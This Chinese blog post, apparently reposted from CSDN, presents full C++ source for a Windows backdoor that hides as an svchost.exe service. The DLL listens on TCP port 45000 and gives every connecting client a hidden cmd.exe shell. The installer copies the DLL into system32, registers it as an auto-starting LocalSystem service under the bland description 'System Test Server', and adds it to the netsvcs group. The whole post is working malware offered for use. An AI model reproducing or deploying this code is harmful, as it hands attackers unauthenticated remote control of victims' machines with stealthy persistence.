安全之路 —— 利用SVCHost.exe系统服务实现后门自启动

简介

在Windows系统中有一个系统服务控制器,叫做SVCHost.exe,它可以用来管理系统的多组服务。它与普通的服务控制不同的是它采用dll导出的ServiceMain主函数实现服务运行,详细原理可参照Blog:SVCHOST启动服务实战。我们在使用此方法时,要有两个步骤:

1. 编写dll文件封装ServiceMain导出函数
2. 编写负责服务安装与移除的exe文件
3. 本例中需要将.exe与.dll文件放置在同一个文件夹下运行,.exe文件会将dll复制进系统目录。

C++代码样例

  1. DLL程序代码:
///////////////////////////////////////
//
// FileName : sysWork.cpp
// Creator : PeterZ1997
// Date : 2018-5-8 22:07
// Comment : Dll of ServiceMain Function
//
///////////////////////////////////////

#include <cstdio>
#include <iostream>
#include <cstdlib>
#include <cstring>
#include <strsafe.h>
#include <WinSock2.h>
#include <winsock.h>
#include <windows.h>
#include <winsvc.h>

using namespace std;
#pragma comment(lib, "ws2_32.lib")

SERVICE_STATUS g_ServiceStatus;
SERVICE_STATUS_HANDLE g_hServiceStatus;

const unsigned int MAX_COUNT = 255; /// String Max Length
const DWORD PORT = 45000;           /// Listen Port
const unsigned int LINK_COUNT = 30; /// Max Link Number


/**
 * @brief CallBack Function to Translate Service Control Code
 * @param dwCode        Service Control Code
 */
void WINAPI ServiceControl(DWORD dwCode)
{
    switch (dwCode)
    {
        //服务暂停
    case SERVICE_CONTROL_PAUSE:
        g_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
        break;
        //服务继续
    case SERVICE_CONTROL_CONTINUE:
        g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
        break;
        //服务停止
    case SERVICE_CONTROL_STOP:
        g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
        g_ServiceStatus.dwWin32ExitCode = 0;
        g_ServiceStatus.dwCheckPoint = 0;
        g_ServiceStatus.dwWaitHint = 0;
        break;
    case SERVICE_CONTROL_INTERROGATE:
        break;
    default:
        break;
    }
    //设置服务状态
    if (SetServiceStatus(g_hServiceStatus, &g_ServiceStatus) == 0)
    {
        printf("Set Service Status Error\n");
    }
    return;
}

/**
 * @brief Start Remote Shell
 * @param lpParam       the Client Handle
 */
DWORD WINAPI StartShell(LPVOID lpParam)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    CHAR cmdline[MAX_COUNT] = { 0 };
    GetStartupInfo(&si);
    si.cb = sizeof(STARTUPINFO);
    si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)lpParam;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.wShowWindow = SW_HIDE;
    GetSystemDirectory(cmdline, sizeof(cmdline));
    strcat_s(cmdline, sizeof(cmdline), "\\cmd.exe");
    while (!CreateProcess(NULL, cmdline, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
    {
        Sleep(100);
    }
    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return 0;
}


/**
 * @brief Service Running Function
 * @param lpParam      NULL
 */
DWORD WINAPI RunService(LPVOID lpParam)
{
    CHAR wMessage[MAX_COUNT] = "<================= Welcome to Back Door >_< ==================>\n";
    SOCKET sClient[30];
    DWORD dwThreadId[30];
    HANDLE hThread[30];
    WSADATA wsd;
    if (WSAStartup(0x0202, &wsd))
    {
        printf("WSAStartup Process Error\n");
        return 0;
    }
    SOCKET sListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(PORT);
    sin.sin_addr.S_un.S_addr = INADDR_ANY;
    if (bind(sListen, (LPSOCKADDR)&sin, sizeof(sin))) return 0;
    if (listen(sListen, LINK_COUNT)) return 0;
    for (int i = 0; i < LINK_COUNT; i++)
    {
        sClient[i] = accept(sListen, NULL, NULL);
        hThread[i] = CreateThread(NULL, 0, StartShell, (LPVOID)sClient[i], 0, &dwThreadId[i]);
        send(sClient[i], wMessage, strlen(wMessage), 0);
    }
    WaitForMultipleObjects(LINK_COUNT, hThread, TRUE, INFINITE);
    return 0;
}

/**
 * @brief Export Function
 */
extern"C" __declspec(dllexport) void __stdcall ServiceMain(DWORD dwArgc, LPTSTR *lpArgv)
{
    HANDLE hThread;
    g_ServiceStatus.dwCheckPoint = 0;
    g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_STOP;
    g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    g_ServiceStatus.dwServiceSpecificExitCode = 0;
    g_ServiceStatus.dwServiceType = SERVICE_WIN32;
    g_ServiceStatus.dwWaitHint = 0;
    g_ServiceStatus.dwWin32ExitCode = 0;
    g_hServiceStatus = RegisterServiceCtrlHandler("BackDoor", ServiceControl);
    if (!g_hServiceStatus)
    {
        printf("Register Service Error\n");
        return;
    }
    g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    g_ServiceStatus.dwCheckPoint = 0;
    g_ServiceStatus.dwWaitHint = 0;
    if (!SetServiceStatus(g_hServiceStatus, &g_ServiceStatus))
    {
        printf("Set ServiceStatus Error !\n");
        return;
    }
    hThread = CreateThread(NULL, 0, RunService, NULL, 0, NULL);
    if (!hThread)
    {
        printf("Create Thread Error\n");
    }
    return;
}

/**
 * @brief DLL Main Function
 */
BOOL APIENTRY DllMain(HANDLE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_DETACH:
    {
        ServiceControl(SERVICE_CONTROL_STOP);
        break;
    }
    default:
        break;
    }
    return TRUE;
}

2 . EXE程序代码:

//////////////////////////////////////////////
//
// FileName : SVCHostDemo.cpp
// Creator : PeterZ1997
// Date : 2018-5-8 01:17
// Comment : use SVCHost.exe to achieve software auto-run
//
//////////////////////////////////////////////

#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include "strsafe.h"
#include <windows.h>
#include <winsvc.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")

using namespace std;

const unsigned int MAX_COUNT = 255;      //字符串长度
CHAR szRegInfo[MAX_COUNT] = "\0";        //注册表信息缓冲区
SC_HANDLE g_hServiceHandle;              //服务实例句柄
SERVICE_STATUS g_ssServiceStatus;        //服务状态结构体
SERVICE_STATUS_HANDLE g_ssServiceHandle; //服务状态句柄

/**
 * @brief 封装REG_MULTI_SZ型注册表操作
 * @param hRoot            root key
 * @param szSubKey         sub key after the root key
 * @param szValueName      key name
 * @param szData           key Data
 * @param cp               length of (BYTE*)szValue
 */
BOOL setSZMultiStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPSTR szValue, DWORD cp)
{
    HKEY hKey;
    long lRet;
    if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
    if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_MULTI_SZ, (BYTE*)szValue, cp)) return false;
    RegCloseKey(hKey);
    RegCloseKey(hRoot);
    return true;
}

/**
 * @brief 封装REG_SZ型注册表操作
 * @param hRoot             root key
 * @param szSubKey          sub key after the root key
 * @param szValueName       key name
 * @param szData            key Data
 */
BOOL setSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
{
    HKEY hKey;
    long lRet;
    if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
    if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_SZ, (BYTE*)szValue, strlen(szValue))) return false;
    RegCloseKey(hKey);
    RegCloseKey(hRoot);
    return true;
}
/**
* @brief 封装REG_EXPAND_SZ型注册表操作
* @param hRoot           root key
* @param szSubKey        sub key after the root key
* @param szValueName     key name
* @param szData          key Data
*/
BOOL setExpandSZStringValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, LPCSTR szValue)
{
    HKEY hKey;
    long lRet;
    if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
    if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_EXPAND_SZ, (BYTE*)szValue, strlen(szValue))) return false;
    RegCloseKey(hKey);
    RegCloseKey(hRoot);
    return true;
}

/**
 * @brief 封装DWORD型注册表操作
 * @param hRoot          root key
 * @param szSubKey       sub key after the root key
 * @param szValueName    key name
 * @param szData         key Data
 */
BOOL setDWORDValueToReg(HKEY hRoot, LPCSTR szSubKey, LPCSTR szValueName, DWORD szValue)
{
    HKEY hKey;
    long lRet;
    if (lRet = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL)) return false;
    if (lRet = RegSetValueEx(hKey, szValueName, 0, REG_DWORD, (BYTE*)&szValue, sizeof(DWORD))) return false;
    RegCloseKey(hKey);
    RegCloseKey(hRoot);
    return true;
}

/**
 * @brief get Registry Value Info(REG_MULTI_SZ)
 * @param hRoot         root key
 * @param szSubKey      sub key after the root key
 * @param szValueName   key name
 */
BOOL getRegInfo(HKEY hRoot, LPCTSTR szSubKey, LPCTSTR szValueName)
{
    HKEY hKey;
    DWORD dwType = REG_MULTI_SZ;
    DWORD dwLenData = strlen(szRegInfo);
    LONG lRes = RegCreateKeyEx(hRoot, szSubKey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);
    if (lRes != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return false;
    }
    RegQueryValueEx(hKey, szValueName, 0, &dwType, NULL, &dwLenData);
    lRes = RegQueryValueEx(hKey, szValueName, 0, &dwType, (LPBYTE)szRegInfo, &dwLenData);
    if (lRes != ERROR_SUCCESS)
    {
        RegCloseKey(hKey);
        RegCloseKey(hRoot);
        return false;
    }
    RegCloseKey(hKey);
    RegCloseKey(hRoot);
    return true;
}

/**
 * @brief CallBack Function to Translate Service Control Code
 * @param dwCode       Service Control Code
 */
void WINAPI ServiceControl(DWORD dwCode)
{
    switch (dwCode)
    {
    case SERVICE_CONTROL_PAUSE:
        g_ssServiceStatus.dwCurrentState = SERVICE_PAUSED;
        break;
    case SERVICE_CONTROL_CONTINUE:
        g_ssServiceStatus.dwCurrentState = SERVICE_RUNNING;
        break;
    case SERVICE_CONTROL_STOP:
        g_ssServiceStatus.dwCurrentState = SERVICE_STOPPED;
        g_ssServiceStatus.dwWin32ExitCode = 0;
        g_ssServiceStatus.dwCheckPoint = 0;
        g_ssServiceStatus.dwWaitHint = 0;
        break;
    case SERVICE_CONTROL_INTERROGATE:
        break;
    default:
        break;
    }
    if (SetServiceStatus(g_ssServiceHandle, &g_ssServiceStatus) == 0)
    {
        printf("Set Service Status Error\n");
    }
    return;
}

/**
 * @brief 安装服务
 */
BOOL InstallService()
{
    CHAR szSysPath[MAX_COUNT] = "\0";
    CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" };
    CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
    memset(szTargetString, 0, sizeof(szTargetString));
    register int count = 0;
    register int cp = 0;
    GetSystemDirectory(szSysPath, sizeof(szSysPath));
    StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll");
    CopyFile("sysWork.dll", szSysPath, true);
    setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Description", "System Test Server");
    setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "DisplayName", "NewService");
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ErrorControl", 0x00000001);
    setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ImagePath", "%systemRoot%\\system32\\svchost.exe -k netsvcs");
    setSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "ObjectName", "LocalSystem");
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Start", 0x00000002);
    setDWORDValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService", "Type", 0x00000010);
    setExpandSZStringValueToReg(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService\\Parameters", "ServiceDll", szSysPath);
    getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs");
    register LPSTR p = LPSTR(szRegInfo);
    for (; *p; p += strlen(p) + 1, count++)
    {
        StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
    }
    StringCchCopy(szRegGroup[count], sizeof(szRegGroup), "NewService");
    p = LPSTR(szTargetString);
    for (int i = 0; i <= count; i++)
    {
        strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
        p += strlen(szRegGroup[i]) + 1;
        cp += strlen(szRegGroup[i]) + 1;
    }
    setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp);
    return true;
}

/**
 * @brief 移除服务
 */
BOOL RemoveService()
{
    SC_HANDLE hscManager;
    CHAR szRegGroup[MAX_COUNT][MAX_COUNT] = { "\0" };
    CHAR* szTargetString = (CHAR*)malloc(MAX_COUNT * 8);
    memset(szTargetString, 0, sizeof(szTargetString));
    register int count = 0;
    register int cp = 0;
    CHAR szSysPath[MAX_COUNT] = "\0";
    GetSystemDirectory(szSysPath, sizeof(szSysPath));
    StringCchCat(szSysPath, sizeof(szSysPath), "\\sysWork.dll");
    hscManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
    if (!hscManager)
    {
        printf("Open Service Manager Error\n");
        return false;
    }
    printf("Open Service Manager Success\n");
    g_hServiceHandle = OpenService(hscManager, "NewService", SERVICE_ALL_ACCESS);
    if (!g_hServiceHandle)
    {
        printf("Open Service Error\n");
        return false;
    }
    printf("Open Service Success\n");
    if (QueryServiceStatus(g_hServiceHandle, &g_ssServiceStatus))
    {
        if (g_ssServiceStatus.dwCurrentState == SERVICE_RUNNING)
        {
            ControlService(g_hServiceHandle, SERVICE_CONTROL_STOP, &g_ssServiceStatus);
        }
    }
    else
    {
        printf("Service Status Get Error\n");
        CloseServiceHandle(g_hServiceHandle);
        CloseServiceHandle(hscManager);
        return false;
    }
    if (!DeleteService(g_hServiceHandle))
    {
        printf("Delete Service Error\n");
        CloseServiceHandle(g_hServiceHandle);
        CloseServiceHandle(hscManager);
        return false;
    }
    if (SHDeleteKey(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\NewService"))
    {
        printf("Delete RegKey Error\n");
        CloseServiceHandle(g_hServiceHandle);
        CloseServiceHandle(hscManager);
        return false;
    }
    memset(szRegInfo, 0, sizeof(szRegInfo));
    getRegInfo(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs");
    register LPSTR p = LPSTR(szRegInfo);
    for (; *p; p += strlen(p) + 1)
    {
        if (!strcmp(p, "NewService"))
        {
            continue;
        }
        StringCchCopy(szRegGroup[count], sizeof(szRegGroup[count]), p);
        count++;
    }
    p = LPSTR(szTargetString);
    for (int i = 0; i <= count; i++)
    {
        strcpy_s(p, strlen(szRegGroup[i]) + 1, szRegGroup[i]);
        p += strlen(szRegGroup[i]) + 1;
        cp += strlen(szRegGroup[i]) + 1;
    }
    setSZMultiStringValueToReg(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost", "netsvcs", szTargetString, cp);
    printf("Remove Service Success\n");
    DeleteFile(szSysPath);
    CloseServiceHandle(g_hServiceHandle);
    CloseServiceHandle(hscManager);
    return true;
}

/**
 * @brief Main Function
 */
int main(int argc, char* argv[])
{
    if (argc == 2)
    {
        if (!stricmp(argv[1], "--install"))
        {
            if (!InstallService())
            {
                printf("[!]Service Operation Error\n");
            }
            else
            {
                printf("[*]Service Operation Success\n");
            }
        }
        else if (!stricmp(argv[1], "--remove"))
        {
            if (!RemoveService())
            {
                printf("[!]Service Operation Error\n");
            }
            else
            {
                printf("[*]Service Operation Success\n");
            }
        }
        else
        {
            printf("[Usage] => *.exe [--install]/[--remove]\n");
        }
    }
    else {
        printf("[Usage] => *.exe [--install]/[--remove]\n");
    }
    return 0;
}

猜你喜欢

转载自blog.csdn.net/peterz1997/article/details/80255264